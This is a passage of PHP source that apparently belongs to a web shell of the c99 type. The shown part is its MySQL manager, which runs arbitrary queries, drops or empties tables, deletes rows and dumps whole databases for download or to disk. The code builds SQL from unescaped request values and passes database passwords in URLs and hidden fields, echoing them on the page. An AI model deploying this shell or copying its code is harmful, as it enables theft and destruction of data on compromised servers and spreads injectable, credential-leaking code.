 724   if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 725   $sql_surl .= "&";
 726   echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
 727        "<table>".
 728        "<tr><td width=\"100%\" colspan=2 class=barheader>";
 729   if ($sql_server) {
 730     $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
 731     $err = mysql_smarterror();
 732     @mysql_select_db($sql_db,$sql_sock);
 733     if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 734   }
 735   else {$sql_sock = FALSE;}
 736   echo ".: SQL Manager :.<br>";
 737   if (!$sql_sock) {
 738     if (!$sql_server) {echo "NO CONNECTION";}
 739     else {echo "Can't connect! ".$err;}
 740   }
 741   else {
 742     $sqlquicklaunch = array();
 743     $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
 744     $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
 745     $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
 746     $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
 747     $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
 748     $sqlquicklaunch[] = array("Logout",$surl."act=sql");
 749     echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
 750     if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
 751   }
 752   echo "</td></tr><tr>";
 753   if (!$sql_sock) {
 754     echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
 755     echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
 756   }
 757   else {
 758     //Start left panel
 759     if (!empty($sql_db)) {
 760       ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
 761       <?php
 762       $result = mysql_list_tables($sql_db);
 763       if (!$result) {echo mysql_smarterror();}
 764       else {
 765         echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
 766         $c = 0;
 767         while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
 768         if (!$c) {echo "No tables found in database.";}
 769       }
 770     }
 771     else {
 772       ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
 773       <?php
 774       $result = mysql_list_dbs($sql_sock);
 775       if (!$result) {echo mysql_smarterror();}
 776       else {
 777         ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
 778         <?php
 779         $c = 0;
 780         $dbs = "";
 781         while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
 782         echo "<option value=\"\">Databases (".$c.")</option>";
 783         echo $dbs;
 784       }
 785       ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
 786       <?php
 787     }
 788     //End left panel
 789     echo "</td><td width=\"100%\">";
 790     //Start center panel
 791     $diplay = TRUE;
 792     if ($sql_db) {
 793       if (!is_numeric($c)) {$c = 0;}
 794       if ($c == 0) {$c = "no";}
 795       echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
 796       if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
 797       echo "</b></center>";
 798       $acts = array("","dump");
 799       if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 800       elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
 801       elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
 802       elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 803       elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 804       elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 805       elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
 806       elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
 807       elseif ($sql_tbl_act == "insert") {
 808         if ($sql_tbl_insert_radio == 1) {
 809           $keys = "";
 810           $akeys = array_keys($sql_tbl_insert);
 811           foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
 812           if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
 813           $values = "";
 814           $i = 0;
 815           foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
 816           if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
 817           $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
 818           $sql_act = "query";
 819           $sql_tbl_act = "browse";
 820         }
 821         elseif ($sql_tbl_insert_radio == 2) {
 822           $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
 823           $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
 824           $result = mysql_query($sql_query) or print(mysql_smarterror());
 825           $result = mysql_fetch_array($result, MYSQL_ASSOC);
 826           $sql_act = "query";
 827           $sql_tbl_act = "browse";
 828         }
 829       }
 830       if ($sql_act == "query") {
 831         echo "<hr size=\"1\" noshade>";
 832         if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 833         if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 834         if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
 835       }
 836       if (in_array($sql_act,$acts)) {
 837         ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
 838         <form action="<?php echo $surl; ?>">
 839         <input type="hidden" name="act" value="sql">
 840         <input type="hidden" name="sql_act" value="newtbl">
 841         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
 842         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
 843         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
 844         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
 845         <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
 846         <input type="text" name="sql_newtbl" size="20">
 847         <input type="submit" value="Create">
 848         </form></td>
 849         <td width="30%" height="1"><b>Dump DB:</b>
 850         <form action="<?php echo $surl; ?>">
 851         <input type="hidden" name="act" value="sql">
 852         <input type="hidden" name="sql_act" value="dump">
 853         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
 854         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
 855         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
 856         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
 857         <?php
 858         if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
 859         if ($sql_act == "newtbl") {
 860           echo "<b>";
 861           if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
 862             echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
 863           }
 864           else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
 865         }
 866         elseif ($sql_act == "dump") {
 867           if (empty($submit)) {
 868             $diplay = FALSE;
 869             echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
 870             echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
 871             $v = join (";",$dmptbls);
 872             echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
 873             if ($dump_file) {$tmp = $dump_file;}
 874             else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
 875             echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
 876             echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
 877             echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
 878             echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
 879             echo "</form>";
 880           }
 881           else {
 882             $diplay = TRUE;
 883             $set = array();
 884             $set["sock"] = $sql_sock;
 885             $set["db"] = $sql_db;
 886             $dump_out = "download";
 887             $set["print"] = 0;
 888             $set["nl2br"] = 0;
 889             $set[""] = 0;
 890             $set["file"] = $dump_file;
 891             $set["add_drop"] = TRUE;
 892             $set["onlytabs"] = array();
 893             if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
 894             $ret = mysql_dump($set);
 895             if ($sql_dump_download) {
 896               @ob_clean();
 897               header("Content-type: application/octet-stream");
 898               header("Content-length: ".strlen($ret));
 899               header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
 900               echo $ret;
 901               exit;
 902             }
 903             elseif ($sql_dump_savetofile) {
 904               $fp = fopen($sql_dump_file,"w");
 905               if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
 906               else {
 907                 fwrite($fp,$ret);
 908                 fclose($fp);
 909                 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
 910               }
 911             }
 912             else {echo "<b>Dump: nothing to do!</b>";}
 913           }
 914         }
 915         if ($diplay) {
 916     if (!empty($sql_tbl)) {
 917       if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
 918       $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
 919       $count_row = mysql_fetch_array($count);
 920       mysql_free_result($count);
 921       $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
 922       $tbl_struct_fields = array();
 923       while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
 924       if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
 925       if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
 926       if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
 927       if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
 928       $perpage = $sql_tbl_le - $sql_tbl_ls;
 929       if (!is_numeric($perpage)) {$perpage = 10;}
 930       $numpages = $count_row[0]/$perpage;
 931       $e = explode(" ",$sql_order);
 932       if (count($e) == 2) {
 933         if ($e[0] == "d") {$asc_desc = "DESC";}
 934         else {$asc_desc = "ASC";}
 935         $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
 936       }
 937       else {$v = "";}
 938       $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
 939       $result = mysql_query($query) or print(mysql_smarterror());
 940       echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
 941       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
 942       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
 943       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
 944       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
 945       if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
 946       if ($sql_tbl_act == "insert") {
 947         if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
 948         if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
 949         else {
 950           echo "<br><br><b>Inserting row into table:</b><br>";
 951           if (!empty($sql_tbl_insert_q)) {
 952             $sql_query = "SELECT * FROM `".$sql_tbl."`";
 953             $sql_query .= " WHERE".$sql_tbl_insert_q;
 954             $sql_query .= " LIMIT 1;";
 955             $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
 956             $values = mysql_fetch_assoc($result);
 957             mysql_free_result($result);
 958           }
 959           else {$values = array();}
 960           echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
 961           foreach ($tbl_struct_fields as $field) {
 962             $name = $field["Field"];
 963             if (empty($sql_tbl_insert_q)) {$v = "";}
 964             echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
 965             $i++;
 966           }
 967           echo "</table><br>";
 968           echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
 969           if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
 970           echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
 971         }
 972       }
 973       if ($sql_tbl_act == "browse") {
 974         $sql_tbl_ls = abs($sql_tbl_ls);
 975         $sql_tbl_le = abs($sql_tbl_le);
 976         echo "<hr size=\"1\" noshade>";
 977         echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
 978         $b = 0;
 979         for($i=0;$i<$numpages;$i++) {
 980           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
 981           echo $i;
 982           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
 983           if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
 984           else {echo "&nbsp;";}
 985         }
 986         if ($i == 0) {echo "empty";}
 987         echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
 988         echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
 989         echo "<tr>";
 990         echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
 991         for ($i=0;$i<mysql_num_fields($result);$i++) {
 992           $v = mysql_field_name($result,$i);
 993           if ($e[0] == "a") {$s = "d"; $m = "asc";}
 994           else {$s = "a"; $m = "desc";}
 995           echo "<td>";
 996           if (empty($e[0])) {$e[0] = "a";}
 997           if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
 998           else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
 999           echo "</td>";
1000         }
1001       echo "<td><font color=\"green\"><b>Action</b></font></td>";
1002       echo "</tr>";
1003       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1004        echo "<tr>";
1005        $w = "";
1006        $i = 0;
1007        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1008        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1009        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1010        $i = 0;
1011        foreach ($row as $k=>$v)
1012        {
1013         $v = htmlspecialchars($v);
1014         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1015         echo "<td>".$v."</td>";
1016         $i++;
1017        }
1018        echo "<td>";
1019        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
1020        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
1021        echo "</td>";
1022        echo "</tr>";
1023       }
1024       mysql_free_result($result);
1025       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1026       echo "<option value=\"\">With selected:</option>";
1027       echo "<option value=\"deleterow\">Delete</option>";
1028       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1029      }
1030     }
1031     else {
1032      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1033      if (!$result) {echo mysql_smarterror();}
1034      else
1035      {
1036       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1037       $i = 0;
1038       $tsize = $trows = 0;
1039       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1040       {
1041        $tsize += $row["Data_length"];
1042        $trows += $row["Rows"];
1043        $size = view_size($row["Data_length"]);
1044        echo "<tr>";
1045        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1046        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
1047        echo "<td>".$row["Rows"]."</td>";
1048        echo "<td>".$row["Type"]."</td>";
1049        echo "<td>".$row["Create_time"]."</td>";
1050        echo "<td>".$row["Update_time"]."</td>";
1051        echo "<td>".$size."</td>";
1052        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
1053        echo "</tr>";
1054        $i++;
1055       }
1056       echo "<tr bgcolor=\"000000\">";
1057       echo "<td><center><b>+</b></center></td>";
1058       echo "<td><center><b>".$i." table(s)</b></center></td>";
1059       echo "<td><b>".$trows."</b></td>";
1060       echo "<td>".$row[1]."</td>";
1061       echo "<td>".$row[10]."</td>";
1062       echo "<td>".$row[11]."</td>";
1063       echo "<td><b>".view_size($tsize)."</b></td>";
1064       echo "<td></td>";
1065       echo "</tr>";
1066       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1067       echo "<option value=\"\">With selected:</option>";
1068       echo "<option value=\"tbldrop\">Drop</option>";
1069       echo "<option value=\"tblempty\">Empty</option>";
1070       echo "<option value=\"tbldump\">Dump</option>";
1071       echo "<option value=\"tblcheck\">Check table</option>";
1072       echo "<option value=\"tbloptimize\">Optimize table</option>";
1073       echo "<option value=\"tblrepair\">Repair table</option>";
1074       echo "<option value=\"tblanalyze\">Analyze table</option>";
1075       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1076       mysql_free_result($result);
1077      }
1078     }
1079    }
1080    }
1081   }
1082   else {
1083    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
